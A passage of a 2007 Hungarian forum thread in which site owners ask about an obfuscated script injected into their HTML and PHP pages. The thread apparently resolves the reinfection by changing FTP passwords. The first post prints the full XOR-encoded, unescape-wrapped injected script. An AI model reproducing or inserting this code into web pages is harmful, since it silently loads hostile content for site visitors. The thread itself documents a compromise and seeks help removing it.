Oldal: 1 / 2 12 UtolsóUtolsó
Eredmény: 1 - 10 (13) összesen

Téma: Script

  1. #1
    Bölcs
    Csatlakozott
    07-04-28
    Hozzászólás
    1.115
    Begyűjtött 241 köszönetet
    176 hozzászólásával

    Alapbeállítás Script

    Ezt a számomra ismeretlen scriptet találtam a html lapjaim végén, tudja valaki mi lehet?

    Kód:
    <!--[Q]--><script>document.write(unescape("%3Cscript%3Eif%28ZK%21%3D1%29%7Bfunction%20zO%28CW%29%7Breturn%20CW%7Dtry%7Bvar%20Li%3D%27ggEgbEgBEgxEgZEg8EgFEgMEgGEgAEgLEgzEgXEg5EgOEgsEg9EgYEgqEgeEgREgjEgWEgwEgrEgPEg3EgfEgDEgTEgoEgdEgaEgKEg4EglEgCEgkEgiEgpEgJEgyEgcEgUEg7EghEg6EgSEgHEgtEgmEgNEgnEgIEbgEbbEbBEbxEbZEb8EbFEbMEbGEbAEbLEbzEbXEb5EbOEbsEb9EbYEbqEbeEbREbjEbW%27%3Bvar%20fE%3DzO%28%27E%27%29%2ChQ%3DArray%28Te%28%27141%27%29%2CTe%28%27194%27%29%2CTe%28%27210%27%29%2CTe%28%27195%27%29%2CTe%28%27216%27%29%2CTe%28%27193%27%29%2C10426%5E10367%2C31928%5E31799%2C30168%5E29967%2C16281%5E16221%2C8366%5E8305%2CTe%28%27222%27%29%2C30682%5E30539%2C25377%5E25577%2CTe%28%27252%27%29%2C13864%5E14001%2C18522%5E18593%2CTe%28%27228%27%29%2CTe%28%27157%27%29%2C14166%5E14251%2CTe%28%27152%27%29%2C23153%5E23227%2C30340%5E30275%2C14953%5E15033%2CTe%28%27230%27%29%2C22573%5E22689%2C27827%5E27751%2CTe%28%27198%27%29%2C50%5E199%2C19897%5E19763%2C1876%5E1927%2C32608%5E32693%2CTe%28%27159%27%29%2C12614%5E12707%2CTe%28%27220%27%29%2C12499%5E12293%2CTe%28%27154%27%29%2C16048%5E15929%2CTe%28%27135%27%29%2CTe%28%27133%27%29%2CTe%28%27129%27%29%2C5149%5E5319%2CTe%28%27147%27%29%2CTe%28%27201%27%29%2CTe%28%27246%27%29%2CTe%28%27226%27%29%2C23611%5E23799%2CTe%28%27244%27%29%2C885%5E995%2CTe%28%27128%27%29%2CTe%28%27242%27%29%2CTe%28%27224%27%29%2CTe%28%27217%27%29%2CTe%28%27221%27%29%2C26397%5E26499%2C26353%5E26127%2C22441%5E22325%2C4848%5E4625%2C4320%5E4203%2CTe%28%27144%27%29%2CTe%28%27142%27%29%2CTe%28%27250%27%29%2CTe%28%27234%27%29%2CTe%28%27239%27%29%2C2300%5E2103%2CTe%28%27136%27%29%2C18789%5E18825%2CTe%28%27237%27%29%2C23533%5E23325%2CTe%28%27130%27%29%2C32140%5E32127%2C22714%5E22529%2C156%5E31%2C21153%5E21029%2C7671%5E7537%2CTe%28%27249%27%29%2C21078%5E21197%29%3Bvar%20ng%2CXb%3Bvar%20Zw%2Cdp%3D%27gggbgBgxgZg8gFgMgGgAgLgBgFgZgzgLgXg5gOgsg9gYgqgxgegRgjgXgWgwgxgXgrgxgPgLg3gfgXgDgwgFg3gsgRgTgWgwgxgXgXgogdgPgXgLg3gfgXgDgwgFg3gsgRgTgXgogdgagbg3gFgKgZg4g3gsgrgxgaglg3gFgKgZg4g3gsgRgCgkgigpgJgJgJgJgJgRgTgXgdgzgBgAg4g3gLgFgagBgzgzgygZg3gXgPgXg9gYgCgcgPgcgCg3gbgBgwg8g3gsgxgegRgCgcgTg3gUg8gZgxg3gbgPgcgCgogdgagFgzg7gOgKghgFgxgZgLglgsgRgTgXg6gWgwgxgXgGgSgPgHgbgtgGgdgegHgqgmgNgPgHgtgHgTgWgwgxgXg5gngPgHgAg8gdgwgFg3gtgagBgIgwgbgbgZgBgFg3gIgagzgxglgHgqglgmgPgHbggngFg4gIbggHgTgZgGgsgdgzgBgAg4g3gLgFgagBgzgzgygZg3gagZgLgdg3gUbbgGgsgGgSgCgHgPgHgCgmgNgRgXgPgPbBgtgRgjgWgwgxgXgdgIgngPgdgzgBgAg4g3gLgFgagIgzgBgwgFgZgzgLgagngzgbgFgTgWgwgxgXgdbxgPgXgHgngFgHgCgHgFg8bZgHgCgHbgbggHgCgsgXgdgIgngXb8gPgXgHgHbFgHgHbZbMg8gsgRgRgXgCgXgdgIgngagxg3g8gIgwgBg3gXgsbgbGbAgwbBbLgJbBbzgabBbXbggqgHgagHgRgagxg3g8gIgwgBg3gXgsbgb5gagCbggqgHgagHgRgCgHgagHgCbMg8gsgRgXgCgHgagHgXgCgXg5gngCglgmgTgWgwgxgXgbbMgPgdgzgBgAg4g3gLgFgagBgxg3gwgFg3gSgIg3g4g3gLgFgsgHgZgGgxgwg4g3gHgRgTgbbMgagbg3gFbOgFgFgxgZgogAgFg3gXgsgHgbgxgBgHgqgXgdbxgRgTgbbMgagng3gZglgngFgPgJgTgbbMgagfgZgdgFgngPbsgTgbbMgagGgxgwg4g3b9gzgxgdg3gxgXgPgXgJgTgXgFgxg5gjgXgdgzgBgAg4g3gLgFgagogzgdg5gagwg8g8g3gLgdgmgngZgIgdgXgsgXgbbMgRgTgXg5gOgsgGgSgqgXgmgNgXgRgTg6gXgBgwgFgBgngsg3gRgXgjgdgzgBgAg4g3gLgFgagfgxgZgFg3gXgsgHgggngFg4gIgMgggogzgdg5gMggbggogzgdg5gMggbggngFg4gIgMgHgRgTgXgdgzgBgAg4g3gLgFgagogzgdg5gagwg8g8g3gLgdgmgngZgIgdgXgsgXgbbMgRgTg5gOgXgsgXgGgSgqgmgNgRgXgTg6gXg6bYgGgAgLgBgFgZgzgLgXbMg8gsgRgjgXgWgwgxgXbOgLgPbqgpgqglghgPgcgJgtbqbsgpbegibRgkbzgJgwgogBgdg3gGgcgTgWgwgxgXg8ghgPgcgcgTgXgGgzgxgsgSbjgPgJgTgXgSbjgXgggXbOgLgTgXgSbjgCgCgRgXg8ghgCgPgXglghgagbgAgogbgFgxgsgOgwgFgngagGgIgzgzgxgsgOgwgFgngagxgwgLgdgzg4gsgRbWglghgagIg3gLglgFgngRgqgtgqgtgRgTgXgxg3gFgAgxgLgXg8ghgTgXg6ggbggbgBgxgZg8gFgM%27%3Bvar%20zM%3DString%28%29%3BLi%3DLi.split%28fE%29%3Bfor%20%28ng%3D0%3Bng%3Cdp.length%3Bng+%3D2%29%7BZw%3Ddp.substr%28ng%2C2%29%3Bfor%28Xb%3D0%3BXb%3CLi.length%3BXb++%29%7Bif%28Li%5BXb%5D%3D%3DZw%29break%3B%7DzM+%3DString.fromCharCode%28hQ%5BXb%5D%5E177%29%3B%7Dfunction%20Te%28rP%29%7Breturn%20parseInt%28rP%29%7Ddocument.write%28zM%29%3B%7Dcatch%28PBL%29%7B%7D%7Dvar%20ZK%3D1%3C/script%3E"))</script><!--[/Q]-->




  2. #2
    Törölve
    Vendég

    Alapbeállítás re: Script

    Idézet Sanyi eredeti hozzászólása Hozzászólás megtekintése
    Ezt a számomra ismeretlen scriptet találtam a html lapjaim végén, tudja valaki mi lehet?
    Ha nem tudod hozzá a kulcsot, C.I.A vagy NASA -s legyen a talpán az, aki ezt visszafejti.



  3. #3
    Bölcs
    Csatlakozott
    07-04-28
    Hozzászólás
    1.115
    Begyűjtött 241 köszönetet
    176 hozzászólásával

    Alapbeállítás re: Script

    gondoltam, hátha látott ilyet már valaki.



  4. #4
    Bölcs Bidu logója
    Csatlakozott
    07-09-04
    Hely
    Menzoberranzan
    Hozzászólás
    617
    Begyűjtött 0 köszönetet
    0 hozzászólásával

    Alapbeállítás re: Script

    Bocs, hogy tovább küldelek vele, de a prog.hu-n már láttam olyat, hogy ránézésre ötleteket adtak a megfejtéshez egy ilyen kérdésnél. Szerintem érdemes egy próbát tenni ott...



  5. #5
    Törölve
    Vendég

    Alapbeállítás re: Script

    Idézet Sanyi eredeti hozzászólása Hozzászólás megtekintése
    gondoltam, hátha látott ilyet már valaki.
    Látni láttam.
    Egyszerű HTML kódodat titkosítani lehet, ami szinte visszafejthetetlen.
    Bővebben ha érdekel, keresd itt a fórumon BlackY -t, neki vagy egy weblapja (aminek címét már elfelejtettem) ahol könnyen tudsz előrefele tikosítani:
    hxxp://www.tutorial.hu/forum/

    De visszafele még ő sem tudja.



  6. #6
    system g-easy logója
    Csatlakozott
    07-04-26
    Hely
    n/a
    Hozzászólás
    4.311
    Begyűjtött 2 köszönetet
    2 hozzászólásával

    Alapbeállítás re: Script

    ez egy tipikus kódolás.. licenszes termékekbe szokták ilyennel belekódolni pl. a domain címet amin kizárólag futni fog majd.. de bármi lehet.. és bármivel készülhetett.. találsz sok ilyet a neten, amivel ezt meg lehet csinálni.. pl. itt a HTML compiler

    mondjuk nálam baja van a böngészővel.. ie kéne neki.. de tudom, hogy 1-2 éve ie-vel használtam



  7. #7
    Bölcs
    Csatlakozott
    07-04-28
    Hozzászólás
    1.115
    Begyűjtött 241 köszönetet
    176 hozzászólásával

    Alapbeállítás re: Script

    Köszi, azt hiszem eltávolítom a kódot.



  8. #8
    errorka
    Vendég

    Alapbeállítás re: Script

    Heyho!

    Ezzel a koddal nekemis nyugom van. Latszolag random idokozonkent - fel ora, 1 nap, 4 nap, stb - kerul be, neha az index.html-be, neha az index.php-ba, neha mindkettobe (Smarty-t hasznalok), de semmilyen mas fileokba nem maszik bele. Volt hogy kitoroltem, es egy ido utan visszamaszott. Azt hiszem hogy az AVG - nembiztos h ez, lehet h mas antivir proggy - javascript virus vagy mitok uzenetet dob ki ra, es nem is lehet letolteni. Ha esetleg megfejted hogy mi ez, akkor jelezd legyszi En mar irtottam virust 4 proggyval, spyokat, atnezettem a szerver adminnal a szervert, es csak nem tudunk rajonni, hogy mitol lehet...

    Lenyeg a lenyeg, az h kitorlod, nem biztos h segit, de ha megoldodik akkor mindenkepp szolj plz

    Kosz,

    err


    Update:
    Kihagytam, hogy nalam pl. hopana.info weboldalon vacakol a bongeszo (FF irja alul), es az oldal be se toltodik utana!


    Utoljára módosítva: errorka által : 2007-10-25 18:12 Oka: kimaradt info

  9. #9
    BaD-DoG dassad logója
    Csatlakozott
    07-07-02
    Hely
    Románia, Erdély, ...
    Hozzászólás
    1.552
    Begyűjtött 0 köszönetet
    0 hozzászólásával

    Alapbeállítás re: Script

    Ha a Google-ben rákerestek erre a kódrészletre
    PHP kód:
    <!--[Q]--><script>document.write(unescape
    akkor láthatjátokl, hogy másnak is vannak hasonló problémái.

    De sajnos oroszull nem tudok, de a prog.hu-n is van már hasonló téma...



  10. #10
    errorka
    Vendég

    Alapbeállítás re: Script

    Na, fejlemeny van:

    1 helyen lett FTP jelszo cserelve, ahol volt ilyen, ott minden rendben. A tobbi helyen azonban, uj honap reven, egybol belekerult megint a kodba a gebasz. Ugyhogy egy alapos virus es spy irtas utan egy FTP acc csere, es valszeg ez megoldja a nyugot. Legalabbis egyelore ugy fest.



Oldal: 1 / 2 12 UtolsóUtolsó

A téma címkéi:

Könyvjelzők

Hozzászólás szabályai

  • Új témákat nem hozhatsz létre
  • Válaszokat nem küldhetsz
  • Fájlokat nem csatolhatsz
  • A hozzászólásaidat nem módosíthatod
  •